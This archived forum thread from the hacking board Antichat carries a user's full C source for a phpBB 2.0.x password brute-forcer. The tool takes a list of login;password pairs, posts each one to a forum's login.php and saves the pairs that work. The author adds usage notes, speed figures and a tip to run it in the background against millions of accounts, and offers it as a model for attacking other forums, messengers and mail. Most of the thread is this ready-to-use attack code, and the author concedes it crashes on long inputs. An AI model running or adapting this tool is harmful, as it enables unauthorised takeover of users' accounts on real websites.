Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   phpBB brute for Unix (for gcc) (https://forum.antichat.xyz/showthread.php?t=8962)

KEZ 22.08.2005 04:15

phpBB brute for Unix (for gcc)
 
Делал брут для phpBB 2.0.х. Подумал, может надо выложить.
http://antichat.net/soft/progi/Brute.../phpbb-brute.c

Само собой не под винду...

Сами понимаете, вещь не совсем нужная в прямом применении, зато очень поможет вам написать чтото подобное, только для другого форума/асек/мыл и т д...

И так...
Как собирать, думаю говорить ненадо.

Использование
./phpbb-brute <host> <path> <list> <results>

<host> - это слишком сложно чтобы обьяснять
<path> - путь к пхпбб, например /phpBB2/
<list> - файл в формате
login1;pass1
login2;pass2
...

<results> - файл куда запишутся набрученые аккаунты

1. При Ctrl+C (SIGINT , 2) результаты подсчитываются, тоесть прога не просто втупую немедленно прекращает работу.

2. Скорость довольно велика (конечно не на диалапе).
Скорость скачивания: 500 кбайт/сек
Скорость брута: 10 пар/сек

3. Не ругать за кривость сорцов, писал побыстрее чтобы!

4. Результаты я записываю в лог и запускаю в фоновом режиме (... > console.txt &). правда если брутите милионы аккаунтов, логи могут немного разползтись.

5. Длинные пароли/логины не обрабатывает, segmentation fault. Подправьте кому интересно.

Скриншот
(ааа скрина нету, права временно отняли - прим. сам себя!)
(ааа, и проги нету, прав нет чтобы повесить - прим. САМ СЕБЯ!)
(ну ниче щас залью на фтп - прим САМ СЕБЯ, БЛ.Ь!)

http://antichat.net/soft/progi/Brute.../phpbb-brute.c

Код:

/*
 Simple phpBB Bruteforce for Unix

 Using:
  ./phpbb-brute <ip> <path> <listfile> <resultsfile> > /dev/null &

 (C) 2005 KEZ (kez@antichat.ru)
 http://antichat.ru http://video.antichat.net http://forum.antichat.ru
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>

#define HTTP_PORT 80

struct sockaddr_in addr;
char *mesg;
int s;
char response_head[1000];
char pair[101];
FILE* listfile;
FILE* savefile;
char* host;
char* ip;
char* path;
char* login;
char* password;
char* listf;
char* savef;
char separator_offset;
int count = 0;
int good_count = 0;

time_t start_time;
time_t stop_time;
time_t elapsed_time;

char* IP( char* hostname )
{
  struct hostent* he;
  struct in_addr in;

  he = gethostbyname( hostname );
  if (!he) return NULL;

  memcpy( &in.s_addr, he->h_addr, he->h_length );

  return (char*)inet_ntoa( in );
}

void Usage( char* prog )
{
  printf( "Usage: ./%s <ip> <path> <listfile> <resultsfile>\n", prog );
  printf( "Example: ./%s 127.0.0.1 /forum/ list.txt bruted.txt\n", prog );
  printf( "Note: listfile is list of \"login;password\\n\"\n\n", prog );
  exit( 0 );
}

void Stats( void )
{
  elapsed_time = stop_time - start_time;
  int speed = count/elapsed_time;
  printf( "Elapsed %d minutes (%d seconds)\n", (elapsed_time/60), elapsed_time ) ;
  printf( "Invoked %d tries\n", count );
  printf( "Good pairs: %d\n", good_count );
  printf( "Speed: ~ %d pair/second, ~ %d pair/minute\n\n", speed, speed*60 );
}

void int_catch( int signo )
{
  fclose( listfile );
  fclose( savefile );
  printf( "\n" );
  stop_time = time( NULL );
  printf( "\nCatched SIGINT (signo=%d) signal... Haltin', motherfucker!\n\n", signo );
  Stats();
  exit( 0 );
}


int main( int argc, char* argv[] )
{
  printf( "\nSimple phpBB 2.0.? Bruteforce\n" );
  printf( "by KEZ <kez@antichat.ru>\n\n" );

  if (argc < 5) Usage( argv[0] );

  host  = argv[1];
  path  = argv[2];
  listf = argv[3];
  savef = argv[4];

  if (inet_addr( host ) == -1)
  {
    printf( "Resolving %s ... ", host );
    ip = IP( host );
    if (!ip)
    {
      printf( "failed\n\n" );
      exit( 0 );
    }
    else printf( "%s\n\n", ip );
  }
  else ip = host;

  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = inet_addr( ip );
  addr.sin_port = htons( HTTP_PORT );

  listfile = fopen( listf, "r" );
  if (!listfile)
  {
    printf( "Couldnot open %s\n\n", listf );
    exit( 200 );
  }
  savefile = fopen( savef, "w" );
  if (!savefile)
  {
    printf( "Couldnot open %s\n\n", savef );
    exit( 209 );
  }

  signal( SIGINT, int_catch );

  printf( "Bruting http://%s%s with %s, results to %s\n\n", host, path, listf, savef );

  start_time = time( NULL );

  while (fgets( pair, 101, listfile ))
  {
    if (!strstr( pair, ";" ))
    {
      printf( "Bad format of list file %s. Needs ; separated file\n\n", listf );
      exit( 255 );
    }

    separator_offset = strstr( pair, ";" )-pair+1;

    if (!login) login        = (char*)malloc( 50 );
    if (!password) password  = (char*)malloc( 50 );
    memset( login,    0, 50 );
    memset( password, 0, 50 );
    memcpy( login,    pair,separator_offset-1 );
    memcpy( password, pair+separator_offset, strlen( pair ) );

    if (strstr( password, "\r" ) ) memset( strstr( password, "\r" ), 0, 1 );
    if (strstr( password, "\n" ) ) memset( strstr( password, "\n" ), 0, 1 );

    s = socket( AF_INET, SOCK_STREAM, 0 );
    if (!s)
    {
      printf( "socket() failed\n\n" );
      exit( 250 );
    }

    if (connect( s, (struct sockaddr*)&addr, sizeof(addr) ) < 0)
    {
      printf( "connection failed\n\n" );
      exit( 240 );
    }

    mesg = (char*)malloc( 124+strlen( host )*2+strlen( path )+42+strlen( login )+strlen( password ) );
    sprintf( mesg, "POST http://%s%s/login.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nConnection: Close\nHost: %s\nContent-Length: 50\n\nusername=%s&password=%s&redirect=&login=Log+in\n", host, path, host, login, password );


    count++;
    printf( "Trying #%d %s:%s ", count, login, password );
    int i = 0;
    for (i=0; i < (50-(strlen( login )+strlen( password )+11)); i++) printf( "." );

    send( s, mesg, strlen( mesg )+4, 0 );
    recv( s, response_head, 1000, 0 );
    close( s );

    if (strstr( response_head, "HTTP/1.1 404" ))
    {
      printf( "(404)\n" );
      exit( 204 );
    }
    else
    if (strstr( response_head, "HTTP/1.0 404" ))
    {
      printf( "404\n" );
      exit( 204 );
    }
    else
    if (strstr( response_head, "Location: " ))
    {
      printf( "(+)\n" );
      good_count++;
      if (savefile) fputs( pair, savefile );
    }
    else printf( "(-)\n" );
  }

  fclose( listfile );
  fclose( savefile );

  free( mesg );
  if (login) free( login );
  if (password) free( password );

  printf( "\n" );

  stop_time = time( NULL );

  Stats();
}

//
// i love Unix and Slipknot
//


KEZ 22.08.2005 04:24

Скриншот

http://antichat.net/soft/progi/Brute...hpbb-brute.jpg

KEZ 24.08.2005 05:34

Дописал новую версию... Получше

grinay 16.09.2005 08:23

Странно но вкусы у нас одинаковые почти..токо в unix системах я себя считаю еще новичком люблю си и ассемблер программирую сейчас микроконтроллеры и люблю слушать слипкнот people equally shit%)

KEZ 16.09.2005 11:21

эээ офигеть дай асю


Время: 03:52